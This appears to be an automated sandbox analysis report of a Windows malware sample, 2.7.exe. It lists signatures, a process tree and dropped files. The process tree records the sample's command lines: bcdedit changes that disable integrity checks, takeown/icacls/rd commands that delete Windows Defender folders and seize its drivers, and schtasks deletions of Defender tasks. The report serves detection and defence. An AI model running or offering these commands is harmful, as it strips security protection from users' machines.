Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 12:29

General

  • Target
    2.7.exe
  • Size 54KB
  • Sample260905-ppaxpavbme
  • SHA256 265ff3e568105a01f8c6d52912715be58f550096b12332fdc86c7c4e80746323
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 20 IoCs
  • Modifies security service 2 TTPs 8 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

    Disable Windows Driver Blocklist via Registry.

  • Possible privilege escalation attempt 18 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

    Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 18 IoCs
  • Windows security modification 2 TTPs 3 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • System policy modification 1 TTPs 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:4388
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4436
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
          PID:5856
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4648
            • C:\Users\Admin\AppData\Local\Temp\2.7.exe
              "C:\Users\Admin\AppData\Local\Temp\2.7.exe"
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1432
              • C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe
                "C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe"
                4⤵
                • Modifies Windows Defender DisableAntiSpyware settings
                • Modifies Windows Defender Real-time Protection settings
                • Modifies security service
                • Drops file in Drivers directory
                • Modify Registry: Disable Windows Driver Blocklist
                • Sets service image path in registry
                • Boot or Logon Autostart Execution: LSASS Driver
                • Executes dropped EXE
                • Windows security modification
                • Modifies Security services
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: LoadsDriver
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                • System policy modification
                PID:5064
                • C:\Windows\SYSTEM32\bcdedit.exe
                  bcdedit.exe /set {current} loadoptions DDISABLE_INTEGRITY_CHECKS
                  5⤵
                  • Modifies boot configuration data using bcdedit
                  PID:4580
                • C:\Windows\SYSTEM32\bcdedit.exe
                  bcdedit.exe /set {current} nointegritychecks on
                  5⤵
                  • Modifies boot configuration data using bcdedit
                  PID:5712
                • C:\Windows\SYSTEM32\bcdedit.exe
                  bcdedit.exe /set {current} testsigning on
                  5⤵
                  • Modifies boot configuration data using bcdedit
                  PID:3096
                • C:\Windows\SYSTEM32\bcdedit.exe
                  bcdedit.exe /set {current} disableelamdrivers yes
                  5⤵
                  • Modifies boot configuration data using bcdedit
                  PID:4608
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2540
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3736
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender"
                  5⤵
                  • Executes a command shell one-liner
                  PID:4332
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Program Files\Windows Defender" /r /d y
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1392
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Program Files\Windows Defender" /grant administrators:F /t /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3852
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c rd /s /q "C:\Program Files\Windows Defender"
                  5⤵
                  • Drops file in Program Files directory
                  • Executes a command shell one-liner
                  PID:3008
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Program Files (x86)\Windows Defender" /r /d y
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3500
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Program Files (x86)\Windows Defender" /grant administrators:F /t /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1960
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c rd /s /q "C:\Program Files (x86)\Windows Defender"
                  5⤵
                  • Drops file in Program Files directory
                  • Executes a command shell one-liner
                  PID:1128
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Program Files\Windows Defender Advanced Threat Protection" /r /d y
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:4272
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Program Files\Windows Defender Advanced Threat Protection" /grant administrators:F /t /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1776
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c rd /s /q "C:\Program Files\Windows Defender Advanced Threat Protection"
                  5⤵
                  • Executes a command shell one-liner
                  PID:3488
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Windows\ELAMBKUP" /r /d y
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3440
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Windows\ELAMBKUP" /grant administrators:F /t /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1036
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c rd /s /q "C:\Windows\ELAMBKUP"
                  5⤵
                  • Executes a command shell one-liner
                  PID:4668
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Windows\system32\drivers\WdFilter.sys" /a
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3260
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Windows\system32\drivers\WdFilter.sys" /grant administrators:F /grant SYSTEM:F /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:4444
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Windows\system32\drivers\WdBoot.sys" /a
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1780
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Windows\system32\drivers\WdBoot.sys" /grant administrators:F /grant SYSTEM:F /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1612
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Windows\system32\drivers\WdNisDrv.sys" /a
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:5444
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Windows\system32\drivers\WdNisDrv.sys" /grant administrators:F /grant SYSTEM:F /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2856
                • C:\Windows\SYSTEM32\takeown.exe
                  takeown.exe /f "C:\Windows\system32\drivers\WdDevFlt.sys" /a
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1180
                • C:\Windows\SYSTEM32\icacls.exe
                  icacls.exe "C:\Windows\system32\drivers\WdDevFlt.sys" /grant administrators:F /grant SYSTEM:F /c /q
                  5⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2956
                • C:\Windows\SYSTEM32\schtasks.exe
                  schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /F
                  5⤵
                    PID:4868
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /F
                    5⤵
                      PID:2412
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /F
                      5⤵
                        PID:2216
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /F
                        5⤵
                          PID:2552
                        • C:\Windows\SYSTEM32\schtasks.exe
                          schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Unknown" /F
                          5⤵
                            PID:5076
                          • C:\Windows\SYSTEM32\schtasks.exe
                            schtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Update Configuration" /F
                            5⤵
                              PID:5244
                            • C:\Windows\SYSTEM32\cmd.exe
                              cmd.exe /c schtasks.exe /Query /FO CSV /V > "C:\Users\Admin\AppData\Local\Temp\~DF4C2A1B.tmp" 2>&1
                              5⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5092
                              • C:\Windows\system32\schtasks.exe
                                schtasks.exe /Query /FO CSV /V
                                6⤵
                                  PID:2776
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
                        1⤵
                        • Executes dropped EXE
                        PID:424

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            6b8bq7mg.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe
                            • Size 224KB
                            • SHA256 1f3f74cec96d78ec0c06756587381dff71696257a6e18ef6a27171a236692837
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            ~DF4C2A1B.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\~DF4C2A1B.tmp
                            • Size 14KB
                            • SHA256 41057b429aad762576feda0daecd3513a3b7e0b86a9c5cbc1244d5749d8074ee
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            wlrmdr.exe

                            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
                            • Size 54KB
                            • SHA256 265ff3e568105a01f8c6d52912715be58f550096b12332fdc86c7c4e80746323
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/4388-0-0x000001817AAF0000-0x000001817AAF2000-memory.dmp

                            memory/4648-12-0x0000000180000000-0x0000000180005000-memory.dmp

                            memory/4648-18-0x0000000000810000-0x0000000000811000-memory.dmp

                            memory/4648-25-0x0000000000830000-0x0000000000831000-memory.dmp